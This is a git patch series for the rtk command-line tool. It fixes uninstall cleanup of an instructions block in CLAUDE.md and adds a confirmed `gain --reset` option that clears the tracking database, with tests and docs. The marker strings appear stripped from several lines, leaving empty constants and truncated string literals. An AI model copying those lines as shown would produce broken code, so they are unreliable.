From 8fc0e4dd64cb3813f23f94233adbb529a59ba519 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 6 Mar 2026 23:05:29 +0100 Subject: [PATCH 001/204] fix(uninstall): uninstall removes --claude-md artifacts on Windows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Core fix (src/init.rs — uninstall()): - Added step 3b after existing @RTK.md removal: checks for ` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) + - On Windows, `rtk init -g` falls back to `--claude-md` mode, which injects instructions directly into CLAUDE.md. Uninstall previously only looked for Unix-mode artifacts (hook, RTK.md, @RTK.md, settings.json), so it reported "nothing to remove" on Windows. + - Uninstall now prints checked paths when nothing is found, to help diagnose path issues + - Cross-platform error message: shows `%USERPROFILE%` on Windows, `$HOME` on Unix + - Extracted marker constants (`RTK_BLOCK_START`, `RTK_BLOCK_END`) to prevent string drift + ### Tests * +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, compound operators, sudo/env prefixes, registry invariants (607 total, was 559) +* +5 tests for uninstall `--claude-md` artifact cleanup (614 total) ## [0.24.0](https://github.com/rtk-ai/rtk/compare/v0.23.0...v0.24.0) (2026-03-04) diff --git a/README.md b/README.md index a714d95e84..1d942424ff 100644 --- a/README.md +++ b/README.md @@ -694,6 +694,7 @@ rtk init -g --uninstall # - ~/.claude/hooks/rtk-rewrite.sh # - ~/.claude/RTK.md # - @RTK.md reference from ~/.claude/CLAUDE.md +# - block from ~/.claude/CLAUDE.md (Windows/--claude-md mode) # - RTK hook entry from ~/.claude/settings.json # Restart Claude Code after uninstall @@ -778,8 +779,8 @@ rm ~/.claude/hooks/rtk-rewrite.sh # Remove RTK.md rm ~/.claude/RTK.md -# Remove @RTK.md reference -nano ~/.claude/CLAUDE.md # Delete @RTK.md line +# Remove @RTK.md reference or block +nano ~/.claude/CLAUDE.md # Delete @RTK.md line or rtk-instructions block # Remove from settings.json nano ~/.claude/settings.json # Remove RTK hook entry diff --git a/src/init.rs b/src/init.rs index 2fbd11fb3c..08a5565db2 100644 --- a/src/init.rs +++ b/src/init.rs @@ -12,6 +12,12 @@ const REWRITE_HOOK: &str = include_str!("../hooks/rtk-rewrite.sh"); // Embedded slim RTK awareness instructions const RTK_SLIM: &str = include_str!("../hooks/rtk-awareness.md"); +// Marker strings for RTK instructions block in CLAUDE.md. +// RTK_BLOCK_START is a prefix: matches any version like ``. +// RTK_BLOCK_END is the exact closing tag. +const RTK_BLOCK_START: &str = ""; + /// Control flow for settings.json patching #[derive(Debug, Clone, Copy, PartialEq)] pub enum PatchMode { @@ -446,20 +452,46 @@ pub fn uninstall(global: bool, verbose: u8) -> Result<()> { let content = fs::read_to_string(&claude_md_path) .with_context(|| format!("Failed to read CLAUDE.md: {}", claude_md_path.display()))?; - if content.contains("@RTK.md") { - let new_content = content + let mut claude_md_changed = false; + let mut working_content = content.clone(); + + if working_content.contains("@RTK.md") { + let new_content = working_content .lines() .filter(|line| !line.trim().starts_with("@RTK.md")) .collect::>() .join("\n"); - // Clean up double blanks - let cleaned = clean_double_blanks(&new_content); + working_content = clean_double_blanks(&new_content); + claude_md_changed = true; + removed.push("CLAUDE.md: removed @RTK.md reference".to_string()); + } - fs::write(&claude_md_path, cleaned).with_context(|| { - format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) - })?; - removed.push(format!("CLAUDE.md: removed @RTK.md reference")); + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + if did_remove { + working_content = cleaned; + claude_md_changed = true; + removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); + } + } + + if claude_md_changed { + let trimmed = working_content.trim(); + if trimmed.is_empty() { + fs::remove_file(&claude_md_path).with_context(|| { + format!( + "Failed to remove empty CLAUDE.md: {}", + claude_md_path.display() + ) + })?; + removed.retain(|r| !r.starts_with("CLAUDE.md:")); + removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); + } else { + fs::write(&claude_md_path, &working_content).with_context(|| { + format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) + })?; + } } } @@ -471,6 +503,10 @@ pub fn uninstall(global: bool, verbose: u8) -> Result<()> { // Report results if removed.is_empty() { println!("RTK was not installed (nothing to remove)"); + println!(" Checked: {}", hook_path.display()); + println!(" Checked: {}", claude_dir.join("RTK.md").display()); + println!(" Checked: {}", claude_md_path.display()); + println!(" Checked: {}", claude_dir.join("settings.json").display()); } else { println!("RTK uninstalled:"); for item in removed { @@ -814,14 +850,15 @@ fn run_claude_md_mode(global: bool, verbose: u8) -> Result<()> { } RtkBlockUpsert::Malformed => { eprintln!( - "⚠️ Warning: Found '"; + let start_marker = RTK_BLOCK_START; + let end_marker = RTK_BLOCK_END; if let Some(start) = content.find(start_marker) { if let Some(relative_end) = content[start..].find(end_marker) { @@ -923,7 +960,7 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { let mut migrated = false; // Check for old block and migrate - if content.contains(""), - ) { - let end_pos = end + "".len(); + if let (Some(start), Some(end)) = (content.find(RTK_BLOCK_START), content.find(RTK_BLOCK_END)) { + let end_pos = end + RTK_BLOCK_END.len(); let before = content[..start].trim_end(); let after = content[end_pos..].trim_start(); @@ -978,15 +1012,18 @@ fn remove_rtk_block(content: &str) -> (String, bool) { }; (result, true) // migrated - } else if content.contains(" -OLD RTK STUFF - - -More content"#; + let input = format!( + "# My Config\n\n{} v2 -->\nOLD RTK STUFF\n{}\n\nMore content", + RTK_BLOCK_START, RTK_BLOCK_END + ); - let (result, migrated) = remove_rtk_block(input); + let (result, migrated) = remove_rtk_block(&input); assert!(migrated); assert!(!result.contains("OLD RTK STUFF")); assert!(result.contains("# My Config")); @@ -1223,8 +1265,8 @@ More content"#; #[test] fn test_migration_warns_on_missing_end_marker() { - let input = "\nOLD STUFF\nNo end marker"; - let (result, migrated) = remove_rtk_block(input); + let input = format!("{} v2 -->\nOLD STUFF\nNo end marker", RTK_BLOCK_START); + let (result, migrated) = remove_rtk_block(&input); assert!(!migrated); assert_eq!(result, input); } @@ -1252,9 +1294,9 @@ More content"#; #[test] fn test_claude_md_mode_creates_full_injection() { // Just verify RTK_INSTRUCTIONS constant has the right content - assert!(RTK_INSTRUCTIONS.contains("")); + assert!(RTK_INSTRUCTIONS.contains(RTK_BLOCK_END)); assert!(RTK_INSTRUCTIONS.len() > 4000); } @@ -1266,21 +1308,17 @@ More content"#; let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Added); assert!(content.contains("# Team instructions")); - assert!(content.contains(" -OLD RTK CONTENT - - -More notes -"#; + let input = format!( + "# Team instructions\n\n{} v1 -->\nOLD RTK CONTENT\n{}\n\nMore notes\n", + RTK_BLOCK_START, RTK_BLOCK_END + ); - let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); + let (content, action) = upsert_rtk_block(&input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Updated); assert!(!content.contains("OLD RTK CONTENT")); assert!(content.contains("rtk cargo test")); // from current RTK_INSTRUCTIONS @@ -1301,8 +1339,8 @@ More notes #[test] fn test_upsert_rtk_block_detects_malformed_block() { - let input = "\npartial"; - let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); + let input = format!("{} v2 -->\npartial", RTK_BLOCK_START); + let (content, action) = upsert_rtk_block(&input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Malformed); assert_eq!(content, input); } @@ -1328,7 +1366,7 @@ More notes fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); let content = fs::read_to_string(&claude_md).unwrap(); - assert!(content.contains(" block + let content = format!("# Config\n\n@RTK.md\n\n{}\n\nMore stuff", RTK_INSTRUCTIONS); + + let after_at_removal: String = content + .lines() + .filter(|line| !line.trim().starts_with("@RTK.md")) + .collect::>() + .join("\n"); + + assert!(!after_at_removal.contains("@RTK.md")); + assert!(after_at_removal.contains(RTK_BLOCK_START)); + + let (final_content, did_remove) = remove_rtk_block(&after_at_removal); + assert!(did_remove); + assert!(!final_content.contains(RTK_BLOCK_START)); + assert!(final_content.contains("# Config")); + assert!(final_content.contains("More stuff")); + } + + #[test] + fn test_uninstall_integration_claude_md_only() { + let temp = TempDir::new().unwrap(); + let claude_md = temp.path().join("CLAUDE.md"); + + // install + fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); + + // uninstall + let content = fs::read_to_string(&claude_md).unwrap(); + assert!(content.contains(RTK_BLOCK_START)); + assert!(content.contains(RTK_BLOCK_END)); + assert!(content.contains("rtk cargo test")); + + let mut removed = Vec::new(); + let mut claude_md_changed = false; + let mut working_content = content.clone(); + + if working_content.contains("@RTK.md") { + unreachable!("Windows/--claude-md install should not have @RTK.md"); + } + + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + assert!(did_remove, "remove_rtk_block must succeed for valid block"); + working_content = cleaned; + claude_md_changed = true; + removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); + } + + assert!( + claude_md_changed, + "uninstall must detect the rtk-instructions block" + ); + assert!(!removed.is_empty(), "must have recorded removal"); + + let trimmed = working_content.trim(); + if trimmed.is_empty() { + fs::remove_file(&claude_md).unwrap(); + removed.retain(|r| !r.starts_with("CLAUDE.md:")); + removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); + } else { + fs::write(&claude_md, &working_content).unwrap(); + } + + assert!( + !claude_md.exists(), + "CLAUDE.md should be deleted when it only contained RTK instructions" + ); + assert_eq!(removed.len(), 1); + assert!(removed[0].contains("was empty after cleanup")); + } + + #[test] + fn test_uninstall_integration_preserves_user_content() { + let temp = TempDir::new().unwrap(); + let claude_md = temp.path().join("CLAUDE.md"); + + // install + let user_content = "# My Project Rules\n\nAlways use snake_case.\n"; + let installed = format!("{}\n{}", user_content, RTK_INSTRUCTIONS); + fs::write(&claude_md, &installed).unwrap(); + + // uninstall + let content = fs::read_to_string(&claude_md).unwrap(); + let mut working_content = content.clone(); + let mut claude_md_changed = false; + + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + assert!(did_remove); + working_content = cleaned; + claude_md_changed = true; + } + + assert!(claude_md_changed); + let trimmed = working_content.trim(); + assert!(!trimmed.is_empty(), "user content should remain"); + fs::write(&claude_md, &working_content).unwrap(); + + let final_content = fs::read_to_string(&claude_md).unwrap(); + assert!(claude_md.exists(), "CLAUDE.md should still exist"); + assert!( + final_content.contains("My Project Rules"), + "user content must be preserved" + ); + assert!( + final_content.contains("snake_case"), + "user content must be preserved" + ); + assert!( + !final_content.contains(RTK_BLOCK_START), + "RTK block must be fully removed" + ); + assert!( + !final_content.contains(RTK_BLOCK_END), + "RTK end marker must be removed" + ); + assert!( + !final_content.contains("rtk cargo test"), + "RTK content must be removed" + ); + } } From 69a9c64c67016d22226c647fd5440533b4faa915 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 13 Mar 2026 15:25:14 +0100 Subject: [PATCH 002/204] fix(init-uninstall): trailing newline, test refactor, changelog Signed-off-by: aesoft <43991222+aeppling@users.noreply.github.com> --- CHANGELOG.md | 9 +---- src/init.rs | 96 ++++++++++------------------------------------------ 2 files changed, 18 insertions(+), 87 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 491be86911..b8b0021b4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -61,6 +61,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Bug Fixes * **curl:** skip JSON schema replacement when schema is larger than original payload ([#297](https://github.com/rtk-ai/rtk/issues/297)) +* **init:** `rtk init -g --uninstall` now removes `` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) ## [0.25.0](https://github.com/rtk-ai/rtk/compare/v0.24.0...v0.25.0) (2026-03-05) @@ -105,14 +106,6 @@ breakage, but future rule additions won't take effect until they migrate. * **discover**: extract rules/patterns into `src/discover/rules.rs` — adding a command now means editing one file only * **fix**: add `aws` and `psql` to rewrite registry (were missing despite modules existing since 0.24.0) -### Bug Fixes - -* **init:** `rtk init -g --uninstall` now removes `` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) - - On Windows, `rtk init -g` falls back to `--claude-md` mode, which injects instructions directly into CLAUDE.md. Uninstall previously only looked for Unix-mode artifacts (hook, RTK.md, @RTK.md, settings.json), so it reported "nothing to remove" on Windows. - - Uninstall now prints checked paths when nothing is found, to help diagnose path issues - - Cross-platform error message: shows `%USERPROFILE%` on Windows, `$HOME` on Unix - - Extracted marker constants (`RTK_BLOCK_START`, `RTK_BLOCK_END`) to prevent string drift - ### Tests * +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, diff --git a/src/init.rs b/src/init.rs index 73c11cc147..512a9072ba 100644 --- a/src/init.rs +++ b/src/init.rs @@ -1006,7 +1006,7 @@ fn remove_rtk_block(content: &str) -> (String, bool) { let after = content[end_pos..].trim_start(); let result = if after.is_empty() { - before.to_string() + format!("{}\n", before) } else { format!("{}\n\n{}", before, after) }; @@ -1675,104 +1675,42 @@ mod tests { #[test] fn test_uninstall_integration_claude_md_only() { - let temp = TempDir::new().unwrap(); - let claude_md = temp.path().join("CLAUDE.md"); - - // install - fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); - - // uninstall - let content = fs::read_to_string(&claude_md).unwrap(); - assert!(content.contains(RTK_BLOCK_START)); - assert!(content.contains(RTK_BLOCK_END)); - assert!(content.contains("rtk cargo test")); - - let mut removed = Vec::new(); - let mut claude_md_changed = false; - let mut working_content = content.clone(); - - if working_content.contains("@RTK.md") { - unreachable!("Windows/--claude-md install should not have @RTK.md"); - } - - if working_content.contains(RTK_BLOCK_START) { - let (cleaned, did_remove) = remove_rtk_block(&working_content); - assert!(did_remove, "remove_rtk_block must succeed for valid block"); - working_content = cleaned; - claude_md_changed = true; - removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); - } - + // When CLAUDE.md contains only RTK instructions, removal should leave it empty + let (cleaned, did_remove) = remove_rtk_block(RTK_INSTRUCTIONS); + assert!(did_remove, "remove_rtk_block must succeed for valid block"); assert!( - claude_md_changed, - "uninstall must detect the rtk-instructions block" + cleaned.trim().is_empty(), + "CLAUDE.md with only RTK content should be empty after removal" ); - assert!(!removed.is_empty(), "must have recorded removal"); - - let trimmed = working_content.trim(); - if trimmed.is_empty() { - fs::remove_file(&claude_md).unwrap(); - removed.retain(|r| !r.starts_with("CLAUDE.md:")); - removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); - } else { - fs::write(&claude_md, &working_content).unwrap(); - } - - assert!( - !claude_md.exists(), - "CLAUDE.md should be deleted when it only contained RTK instructions" - ); - assert_eq!(removed.len(), 1); - assert!(removed[0].contains("was empty after cleanup")); } #[test] fn test_uninstall_integration_preserves_user_content() { - let temp = TempDir::new().unwrap(); - let claude_md = temp.path().join("CLAUDE.md"); - - // install - let user_content = "# My Project Rules\n\nAlways use snake_case.\n"; - let installed = format!("{}\n{}", user_content, RTK_INSTRUCTIONS); - fs::write(&claude_md, &installed).unwrap(); + // Mixed content → user content survives, RTK block removed + let user_content = "# My Project Rules\n\nAlways use snake_case."; + let installed = format!("{}\n\n{}", user_content, RTK_INSTRUCTIONS); - // uninstall - let content = fs::read_to_string(&claude_md).unwrap(); - let mut working_content = content.clone(); - let mut claude_md_changed = false; - - if working_content.contains(RTK_BLOCK_START) { - let (cleaned, did_remove) = remove_rtk_block(&working_content); - assert!(did_remove); - working_content = cleaned; - claude_md_changed = true; - } - - assert!(claude_md_changed); - let trimmed = working_content.trim(); - assert!(!trimmed.is_empty(), "user content should remain"); - fs::write(&claude_md, &working_content).unwrap(); - - let final_content = fs::read_to_string(&claude_md).unwrap(); - assert!(claude_md.exists(), "CLAUDE.md should still exist"); + let (cleaned, did_remove) = remove_rtk_block(&installed); + assert!(did_remove); + assert!(!cleaned.trim().is_empty(), "user content should remain"); assert!( - final_content.contains("My Project Rules"), + cleaned.contains("My Project Rules"), "user content must be preserved" ); assert!( - final_content.contains("snake_case"), + cleaned.contains("snake_case"), "user content must be preserved" ); assert!( - !final_content.contains(RTK_BLOCK_START), + !cleaned.contains(RTK_BLOCK_START), "RTK block must be fully removed" ); assert!( - !final_content.contains(RTK_BLOCK_END), + !cleaned.contains(RTK_BLOCK_END), "RTK end marker must be removed" ); assert!( - !final_content.contains("rtk cargo test"), + !cleaned.contains("rtk cargo test"), "RTK content must be removed" ); } From 2003033269c5501eb217c1620ab0597ef4c2b72c Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 2 Apr 2026 19:19:34 +0000 Subject: [PATCH 003/204] feat: add --reset flag to rtk gain command Adds `rtk gain --reset` to clear all token savings stats back to zero. Implements `Tracker::reset_all()` in tracking.rs and wires the flag through the Gain command args and gain::run(). https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- src/analytics/gain.rs | 9 +++++++++ src/core/tracking.rs | 10 +++++++++- src/main.rs | 5 +++++ 3 files changed, 23 insertions(+), 1 deletion(-) diff --git a/src/analytics/gain.rs b/src/analytics/gain.rs index a43ebbeb02..133e9c8e29 100644 --- a/src/analytics/gain.rs +++ b/src/analytics/gain.rs @@ -24,11 +24,20 @@ pub fn run( all: bool, format: &str, failures: bool, + reset: bool, _verbose: u8, ) -> Result<()> { let tracker = Tracker::new().context("Failed to initialize tracking database")?; let project_scope = resolve_project_scope(project)?; // added: resolve project path + if reset { + tracker + .reset_all() + .context("Failed to reset token savings")?; + println!("{}", "Token savings stats reset to zero.".green()); + return Ok(()); + } + if failures { return show_failures(&tracker); } diff --git a/src/core/tracking.rs b/src/core/tracking.rs index d6a248af33..0e5667e4a4 100644 --- a/src/core/tracking.rs +++ b/src/core/tracking.rs @@ -29,7 +29,7 @@ //! //! See [docs/tracking.md](../docs/tracking.md) for full documentation. -use anyhow::Result; +use anyhow::{Context, Result}; use chrono::{DateTime, Utc}; use rusqlite::{params, Connection}; use serde::Serialize; @@ -398,6 +398,14 @@ impl Tracker { Ok(()) } + /// Delete all tracked commands, resetting savings stats to zero. + pub fn reset_all(&self) -> Result<()> { + self.conn + .execute("DELETE FROM commands", []) + .context("Failed to reset tracking data")?; + Ok(()) + } + /// Record a parse failure for analytics. pub fn record_parse_failure( &self, diff --git a/src/main.rs b/src/main.rs index 77a4be8c30..a5d1a44926 100644 --- a/src/main.rs +++ b/src/main.rs @@ -403,6 +403,9 @@ enum Commands { /// Show parse failure log (commands that fell back to raw execution) #[arg(short = 'F', long)] failures: bool, + /// Reset all token savings stats to zero + #[arg(long)] + reset: bool, }, /// Claude Code economics: spending (ccusage) vs savings (rtk) analysis @@ -1665,6 +1668,7 @@ fn run_cli() -> Result { all, format, failures, + reset, } => { analytics::gain::run( project, // added: pass project flag @@ -1678,6 +1682,7 @@ fn run_cli() -> Result { all, &format, failures, + reset, cli.verbose, )?; 0 From ee6cddea98f101458e8ac197ae594677629a5f7c Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 3 Apr 2026 14:25:05 +0000 Subject: [PATCH 004/204] =?UTF-8?q?fix:=20address=20PR=20review=20?= =?UTF-8?q?=E2=80=94=20atomic=20reset,=20confirmation=20prompt,=20and=20te?= =?UTF-8?q?sts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - reset_all() now clears both `commands` and `parse_failures` atomically via execute_batch (fixes incomplete reset reported by reviewer) - Add [y/N] confirmation prompt before --reset; mirrors init.rs pattern - Add --yes flag to skip prompt in scripts/CI - Add unit test: test_reset_all_clears_both_tables verifies both tables are empty after reset https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- src/analytics/gain.rs | 28 ++++++++++++++++++++++++ src/core/tracking.rs | 51 ++++++++++++++++++++++++++++++++++++++++--- src/main.rs | 5 +++++ 3 files changed, 81 insertions(+), 3 deletions(-) diff --git a/src/analytics/gain.rs b/src/analytics/gain.rs index 133e9c8e29..1bd6d619c6 100644 --- a/src/analytics/gain.rs +++ b/src/analytics/gain.rs @@ -25,12 +25,17 @@ pub fn run( format: &str, failures: bool, reset: bool, + yes: bool, _verbose: u8, ) -> Result<()> { let tracker = Tracker::new().context("Failed to initialize tracking database")?; let project_scope = resolve_project_scope(project)?; // added: resolve project path if reset { + if !yes && !confirm_reset()? { + println!("Aborted."); + return Ok(()); + } tracker .reset_all() .context("Failed to reset token savings")?; @@ -734,3 +739,26 @@ fn show_failures(tracker: &Tracker) -> Result<()> { Ok(()) } + +/// Prompt the user to confirm a destructive reset operation. +/// Defaults to No in non-interactive (piped) environments. +fn confirm_reset() -> Result { + use std::io::{self, BufRead, IsTerminal, Write}; + + eprint!("This will permanently delete all tracking data. Continue? [y/N] "); + io::stderr().flush().ok(); + + if !io::stdin().is_terminal() { + eprintln!("(non-interactive mode, defaulting to N)"); + return Ok(false); + } + + let stdin = io::stdin(); + let mut line = String::new(); + stdin + .lock() + .read_line(&mut line) + .context("Failed to read confirmation")?; + + Ok(matches!(line.trim().to_lowercase().as_str(), "y" | "yes")) +} diff --git a/src/core/tracking.rs b/src/core/tracking.rs index 0e5667e4a4..5923a53f1e 100644 --- a/src/core/tracking.rs +++ b/src/core/tracking.rs @@ -398,11 +398,16 @@ impl Tracker { Ok(()) } - /// Delete all tracked commands, resetting savings stats to zero. + /// Delete all tracked data (commands + parse_failures), resetting all stats to zero. pub fn reset_all(&self) -> Result<()> { self.conn - .execute("DELETE FROM commands", []) - .context("Failed to reset tracking data")?; + .execute_batch( + "BEGIN; + DELETE FROM commands; + DELETE FROM parse_failures; + COMMIT;", + ) + .context("Failed to reset tracking database")?; Ok(()) } @@ -1397,4 +1402,44 @@ mod tests { // but we can verify recovery_rate is between 0 and 100 assert!(summary.recovery_rate >= 0.0 && summary.recovery_rate <= 100.0); } + + #[test] + fn test_reset_all_clears_both_tables() { + let tracker = Tracker::new().expect("Failed to create tracker"); + let pid = std::process::id(); + + // Insert into commands + tracker + .record( + "git status", + &format!("rtk git status reset_test_{}", pid), + 100, + 20, + 50, + ) + .expect("Failed to record command"); + + // Insert into parse_failures + tracker + .record_parse_failure(&format!("bad_cmd_reset_test_{}", pid), "parse error", false) + .expect("Failed to record parse failure"); + + // Reset everything + tracker.reset_all().expect("Failed to reset"); + + // Both tables should be empty + let summary = tracker.get_summary().expect("Failed to get summary"); + assert_eq!( + summary.total_commands, 0, + "commands table should be empty after reset" + ); + + let failures = tracker + .get_parse_failure_summary() + .expect("Failed to get failure summary"); + assert_eq!( + failures.total, 0, + "parse_failures table should be empty after reset" + ); + } } diff --git a/src/main.rs b/src/main.rs index a5d1a44926..f8c4588d66 100644 --- a/src/main.rs +++ b/src/main.rs @@ -406,6 +406,9 @@ enum Commands { /// Reset all token savings stats to zero #[arg(long)] reset: bool, + /// Skip confirmation prompt when resetting + #[arg(long, requires = "reset")] + yes: bool, }, /// Claude Code economics: spending (ccusage) vs savings (rtk) analysis @@ -1669,6 +1672,7 @@ fn run_cli() -> Result { format, failures, reset, + yes, } => { analytics::gain::run( project, // added: pass project flag @@ -1683,6 +1687,7 @@ fn run_cli() -> Result { &format, failures, reset, + yes, cli.verbose, )?; 0 From 94b6f59708cc34ad1039048426d108ea96c08055 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 3 Apr 2026 14:26:44 +0000 Subject: [PATCH 005/204] style: use styled() helper for reset success message Avoids raw ANSI codes when stdout is piped, consistent with all other output in gain.rs. https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- src/analytics/gain.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/analytics/gain.rs b/src/analytics/gain.rs index 1bd6d619c6..9c8c2630aa 100644 --- a/src/analytics/gain.rs +++ b/src/analytics/gain.rs @@ -39,7 +39,7 @@ pub fn run( tracker .reset_all() .context("Failed to reset token savings")?; - println!("{}", "Token savings stats reset to zero.".green()); + println!("{}", styled("Token savings stats reset to zero.", true)); return Ok(()); } From 4dec66fa9d5337eb264baaad87865db099e40af0 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 3 Apr 2026 14:33:53 +0000 Subject: [PATCH 006/204] fix: use isolated in-memory DB for reset test to prevent race condition Tracker::new() uses a shared on-disk SQLite DB. Running reset_all() in a parallel test suite wipes records inserted by other concurrent tests, causing intermittent failures. Add Tracker::new_in_memory() (cfg(test) only) backed by an isolated Connection::open_in_memory(), and switch test_reset_all_clears_both_tables to use it. Extracted init_schema() helper to avoid duplicating DDL. https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- src/core/tracking.rs | 52 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 51 insertions(+), 1 deletion(-) diff --git a/src/core/tracking.rs b/src/core/tracking.rs index 5923a53f1e..5dd475c94a 100644 --- a/src/core/tracking.rs +++ b/src/core/tracking.rs @@ -326,6 +326,56 @@ impl Tracker { Ok(Self { conn }) } + /// Create an isolated in-memory tracker for tests. + #[cfg(test)] + pub fn new_in_memory() -> Result { + let conn = Connection::open_in_memory().context("Failed to open in-memory DB")?; + let tracker = Self { conn }; + tracker.init_schema()?; + Ok(tracker) + } + + fn init_schema(&self) -> Result<()> { + self.conn.execute( + "CREATE TABLE IF NOT EXISTS commands ( + id INTEGER PRIMARY KEY, + timestamp TEXT NOT NULL, + original_cmd TEXT NOT NULL, + rtk_cmd TEXT NOT NULL, + input_tokens INTEGER NOT NULL, + output_tokens INTEGER NOT NULL, + saved_tokens INTEGER NOT NULL, + savings_pct REAL NOT NULL, + exec_time_ms INTEGER DEFAULT 0, + project_path TEXT DEFAULT '' + )", + [], + )?; + self.conn.execute( + "CREATE INDEX IF NOT EXISTS idx_timestamp ON commands(timestamp)", + [], + )?; + self.conn.execute( + "CREATE INDEX IF NOT EXISTS idx_project_path_timestamp ON commands(project_path, timestamp)", + [], + )?; + self.conn.execute( + "CREATE TABLE IF NOT EXISTS parse_failures ( + id INTEGER PRIMARY KEY, + timestamp TEXT NOT NULL, + raw_command TEXT NOT NULL, + error_message TEXT NOT NULL, + fallback_succeeded INTEGER NOT NULL DEFAULT 0 + )", + [], + )?; + self.conn.execute( + "CREATE INDEX IF NOT EXISTS idx_pf_timestamp ON parse_failures(timestamp)", + [], + )?; + Ok(()) + } + /// Record a command execution with token counts and timing. /// /// Calculates savings metrics and stores the record in the database. @@ -1405,7 +1455,7 @@ mod tests { #[test] fn test_reset_all_clears_both_tables() { - let tracker = Tracker::new().expect("Failed to create tracker"); + let tracker = Tracker::new_in_memory().expect("Failed to create in-memory tracker"); let pid = std::process::id(); // Insert into commands From 4db7e86c2619679301f152e37ce4e9584ce52d0a Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 8 Apr 2026 22:51:55 +0000 Subject: [PATCH 007/204] docs: add --reset/--yes flags to docs/usage/AUDIT_GUIDE.md Adds reset flag documentation to the upstream file path: - Quick Reference: reset usage examples with and without --yes - Command Options: Reset Flag table with --reset and --yes descriptions - Warning note about irreversibility and non-interactive behaviour https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- docs/usage/AUDIT_GUIDE.md | 445 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 445 insertions(+) create mode 100644 docs/usage/AUDIT_GUIDE.md diff --git a/docs/usage/AUDIT_GUIDE.md b/docs/usage/AUDIT_GUIDE.md new file mode 100644 index 0000000000..27a0a1edab --- /dev/null +++ b/docs/usage/AUDIT_GUIDE.md @@ -0,0 +1,445 @@ +# RTK Token Savings Audit Guide + +Complete guide to analyzing your rtk token savings with temporal breakdowns and data exports. + +## Overview + +The `rtk gain` command provides comprehensive analytics for tracking your token savings across time periods. + +**Database Location**: `~/.local/share/rtk/history.db` +**Retention Policy**: 90 days +**Scope**: Global across all projects, worktrees, and Claude sessions + +## Quick Reference + +```bash +# Default summary view +rtk gain + +# Temporal breakdowns +rtk gain --daily # All days since tracking started +rtk gain --weekly # Aggregated by week +rtk gain --monthly # Aggregated by month +rtk gain --all # Show all breakdowns at once + +# Export formats +rtk gain --all --format json > savings.json +rtk gain --all --format csv > savings.csv + +# Combined flags +rtk gain --graph --history --quota # Classic view with extras +rtk gain --daily --weekly --monthly # Multiple breakdowns + +# Reset all tracking data +rtk gain --reset # prompts [y/N] before deleting +rtk gain --reset --yes # skip prompt (CI/scripts) +``` + +## Command Options + +### Temporal Flags + +| Flag | Description | Output | +|------|-------------|--------| +| `--daily` | Day-by-day breakdown | All days with full metrics | +| `--weekly` | Week-by-week breakdown | Aggregated by Sunday-Saturday weeks | +| `--monthly` | Month-by-month breakdown | Aggregated by calendar month | +| `--all` | All time breakdowns | Daily + Weekly + Monthly combined | + +### Classic Flags (still available) + +| Flag | Description | +|------|-------------| +| `--graph` | ASCII graph of last 30 days | +| `--history` | Recent 10 commands | +| `--quota` | Monthly quota analysis (Pro/5x/20x tiers) | +| `--tier ` | Quota tier: pro, 5x, 20x (default: 20x) | + +### Reset Flag + +| Flag | Description | +|------|-------------| +| `--reset` | Permanently delete all tracking data (commands + parse failures) | +| `--yes` | Skip the confirmation prompt (for CI/scripts) | + +> **Warning**: `--reset` is irreversible. It clears both the `commands` and `parse_failures` tables atomically. A `[y/N]` confirmation prompt is shown by default. In non-interactive environments (piped stdin), it defaults to `N` unless `--yes` is passed. + +### Export Formats + +| Format | Flag | Use Case | +|--------|------|----------| +| `text` | `--format text` (default) | Terminal display | +| `json` | `--format json` | Programmatic analysis, APIs | +| `csv` | `--format csv` | Excel, data analysis, plotting | + +## Output Examples + +### Daily Breakdown + +``` +📅 Daily 